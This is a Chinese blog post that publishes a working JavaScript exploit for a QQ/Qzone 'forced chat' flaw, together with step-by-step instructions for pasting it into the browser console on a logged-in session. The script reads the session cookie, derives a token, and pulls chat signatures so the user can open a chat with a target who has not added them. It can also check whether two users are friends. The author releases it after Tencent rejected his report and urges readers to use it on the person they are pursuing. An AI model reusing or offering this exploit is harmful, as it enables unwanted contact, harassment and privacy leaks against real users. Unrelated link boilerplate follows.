QQ强聊虽然早就变成了一个传说,但现在依然可以实现。

小菜其实早就知道这个漏洞,但是一直没公布,前两天突然来兴致试了试,没想到漏洞依然存在。

然后小菜跑到了乌云漏洞报告平台举报漏洞,但没想到被腾讯鲁莽的否认了,他竟然说漏洞不存在,漏洞不存在,那些截图是怎么来的。。。小菜辛辛苦苦写的漏洞原理,就这么无情的被拒绝了。。。

小菜很失望,既然腾讯这么不负责任,那小菜就把漏洞发出来。

漏洞的具体原理,小菜已经在乌云上阐述了《腾讯QQ强制聊天漏洞》,十分的详细,在这不多说。

为了让读者更方便的利用此漏洞,小菜写了一个js脚本,脚本如下

  1. (function(exports){
  2.  
  3. var chatVO = {
  4. //你的QQ
  5. yourQQ: "20737302",
  6. //你好友的QQ
  7. yourFQQ: "649374916",
  8. //女神的QQ
  9. targetQQ: "20618348",
  10. //女神好友的QQ
  11. targetFQQ: "649374916"
  12. };
  13. var config = {
  14. init: function(){
  15. var skey;
  16. skey = getCookie("skey") || getCookie("rv2") || "";
  17. function getCookie(name){
  18. var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
  19. return !m ? "" : m[1];
  20. }
  21. function _DJB (str) {
  22. var hash = 5381;
  23. for (var i = 0, len = str.length; i < len; ++i)
  24. hash += (hash << 5) + str.charCodeAt(i);
  25. return hash & 2147483647
  26. };
  27.  
  28. this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
  29. },
  30. sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
  31. chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
  32. };
  33. var util = {
  34. ajax: function(obj){
  35. var xmlHttp;
  36.  
  37. if(obj.async === undefined){
  38. obj.async = true;
  39. }
  40.  
  41. if(window.XMLHttpRequest){
  42. xmlHttp = new XMLHttpRequest();
  43. }else{
  44. xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
  45. }
  46.  
  47. xmlHttp.onreadystatechange=function(){
  48. obj.callback(xmlHttp);
  49. };
  50. xmlHttp.open(obj.type,obj.url,obj.async);
  51. xmlHttp.send();
  52. }
  53. };
  54. var logic = {
  55. getSigU: function (sender,receiver){
  56. var sigu = "";
  57. util.ajax({
  58. url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
  59. type: "get",
  60. async: false,
  61. callback: function(xhr){
  62. if(xhr.readyState == 4){
  63. var html = xhr.responseText.replace(/[\n]/g,"");
  64. if(/&SigU=/gmi.test(html)){
  65. sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
  66. }else{
  67. alert("你和你的好友,好友关系不成立!");
  68. }
  69. }
  70. }
  71. });
  72.  
  73. return sigu;
  74. },
  75. getSigT: function (sender,receiver){
  76. var sigt = "";
  77. util.ajax({
  78. url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
  79. type: "get",
  80. async: false,
  81. callback: function(xhr){
  82. if(xhr.readyState == 4){
  83. var html = xhr.responseText.replace(/[\n]/g,"");
  84. if(/&SigT=/gmi.test(html)){
  85. sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
  86. }else{
  87. alert("他和他的好友,好友关系不成立!");
  88. }
  89. }
  90. }
  91. });
  92.  
  93. return sigt;
  94. },
  95. runChat: function (sender,sigu,sigt) {
  96. exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
  97. }
  98. };
  99.  
  100. config.init();
  101.  
  102. var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
  103. var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
  104.  
  105. logic.runChat(chatVO.targetQQ,sigu,sigt);
  106.  
  107. })(this);

这个脚本,您只需要关注最顶部的四个参数,

  • yourQQ: "20737302",
  • yourFQQ: "649374916",
  • targetQQ: "20618348",
  • targetFQQ: "649374916"

这四个参数缺一不可,而且必须都正确,读者可根据自己的实际情况填写,主要就是女神好友的QQ可能不知道(任意一个好友即可),猜吧!

假如您不知道女神好友的QQ,乱填一个,会提示好友关系不成立,顺便还可以用这个提示测试两个人是不是好友,很实用吧!

   测试的时候忽略了一个问题:女神好友的QQ(targetFQQ),作为中间人,不能随便填,必须同时是你们两个的好友才可以。。。抱歉!!

接下来说说怎么运行这个脚本。

首先要用浏览器打开你的QQ空间,最好使用火狐和谷歌浏览器,然后保持QQ空间是登录状态。

然后在QQ空间的选项卡旁边新建一个选项卡,输入网址:http://r.qzone.qq.com,按回车转到,发现是一片空白,这就对了。

在浏览器上按F12打开控制台,把脚本粘贴到控制台中,运行即可。

为什么要这么做呢。。。登录QQ空间是为了拿到有效的cookie,否则没办法访问腾讯接口,而新建一个选项卡是为了避免跨域问题,同时又可以与登录的QQ空间共享cookie。

其他就没什么了,快动手试试吧!

最新QQ强制聊天代码,同时可判断好友关系的更多相关文章

  1. qq强制聊天工具

    当你想和别人聊天, 别人有不理你的时候可以用上哦!!!特别是情人吵架的时候, 呵呵 复制下面的代码: @echo off title DIY-QQ强制聊天工具color 0a echo. echo.  ...

  2. 微信公众平台中添加qq在线聊天代码

    微信公众平台是个不错的媒体,可以和你的小伙伴们即时交流,但你的小伙伴们是用手机上的微信,打字自然就慢了:有人说用微信网页版,那个也不习惯,再说也不一定所有人都知道网页版微信.(2014.01.22更新 ...

  3. QQ在线聊天代码获取和使用教程

    在网站上挂上悬浮QQ是一种有效的推广方式,QQ正常情况下是不被允许临时会话的,需要加为好友才可以,这样很不友好, 当今每个行业都是有很多人在做,竞争很激烈,对客户的友好是增加订单的有效途径. 地址:h ...

  4. QQ强制视频聊天

    QQ强制视频聊天 http://ike.126.com   现在,使用QQ的用户已经非常多,QQ聊天已经成了大家的家常便饭,除了跟自己和朋友和同事等熟悉的人聊天外,跟陌生的网友聊天也占了相当大的比例, ...

  5. QQ网页强制聊天,微博一键关注

    <!doctype html> <!-- 微博关注需要的js --> <html xmlns:wb="http://open.weibo.com/wb" ...

  6. SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=》提升)

     SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=>提升,5个Demo贯彻全篇,感兴趣的玩才是真的学) 官方demo:http://www.asp.net/si ...

  7. 笔记5:QQ群聊天机器人

    之前经常在别人群里看到有自动回复消息的机器人. 功能有好多,可以玩各种游戏.觉得还蛮有意思的.. 于是就去请教别人怎么弄得,但是他们都说得好复杂,好高大上,无非就是不想让别人弄 本人是个不会轻易放弃的 ...

  8. 高仿QQ即时聊天软件开发系列之三登录窗口用户选择下拉框

    上一篇高仿QQ即时聊天软件开发系列之二登录窗口界面写了一个大概的布局和原理 这一篇详细说下拉框的实现原理 先上最终效果图 一开始其实只是想给下拉框加一个placeholder效果,让下拉框在未选择未输 ...

  9. 高仿QQ即时聊天软件开发系列之二登录窗口界面

    继上一篇高仿QQ即时聊天软件开发系列之一开端之后,开始做登录窗口 废话不多说,先看效果,只有界面 可能还有一些细节地方没有做,例如那个LOGO嘛,不要在意这些细节 GIF虽短,可是这做起来真难,好吧因 ...

随机推荐

  1. VC++ 在两个程序中 传递字符串等常量值的方法:使用了 WM_COPYDATA 消息的

    消息作用:    在进程间共享数据(内部通过创建内存映射文件) 消息介绍:需要用到的数据结构/类型:typedef struct tagCOPYDATASTRUCT {    ULONG_PTR dw ...

  2. mac安装Mysql官方示例数据库employee

    1. 下载地址 https://launchpad.net/test-db/employees-db-1/1.0.6 2. 执行命令 /usr/local/mysql/bin/mysql -t -u ...

  3. jQuery.cookie

    了解cookie先了解一下知识点: Navigator (一般是浏览器)对象包含有关浏览器的信息. Navigator userAgent:是一个只读字符串,声明了浏览器用于HTTP请求的用户代理头的 ...

  4. hdu 5818 (优先队列) Joint Stacks

    题目:这里 题意: 两个类似于栈的列表,栈a和栈b,n个操作,push a x表示把数x放进a栈的栈底,pop b 表示将栈b的栈顶元素取出输出,并释放这个栈顶元素,merge a b表示把后面的那个 ...

  5. windows 2008 server ftp 无法访问解决办法

    安装一个WINDOWS自带的FTP服务器,整了接近一天的时间,按网上的教程,无论如何搭建.最终都是内部IP可以访问.外部IP无法访问. 1.防火墙全部关掉. 2.FTP所在目录给的是EVERYONE的 ...

  6. 問題排查:行動裝置網頁前端 UI 設計 (1)

    這是最近開始接手的一個微信公眾平台專案, 在重整後端程式碼時,因為也需要透過前端來看效果, 所以就因此在前端的部分遇到了不少問題, 畢竟這是以前沒接觸過的領域 (早年的網頁應用程式開發沒有那麼多分工) ...

  7. gvim 配置Pydiction

    配置windows下gvim 的python关键字补全插件Pydiction 1.下载Pydiction 2.解压缩包,里面有after文件夹.complete-dict.pydiction.py 3 ...

  8. VB6.0 调用存储过程

    最近有在做一个需求,需要在VB6.0中调用存储过程,整理了一下,供大家参考, 范例: Function callStoredProcedure(sEmployeeID As String, Optio ...

  9. String 与 byte[]相互转换

    1. 从byte[]转换成string string result = System.Text.Encoding.UTF8.GetString(byteArray); 2.从string 转换成byt ...

  10. Git使用文档

    建立项目 新建项目 进入gitlab.dev(192.168.14.28) 选择LDAP,用自己的域账号登录 点击右上角的 加号(+)新建项目 填写项目名称 选择组为 Online_Web “Visi ...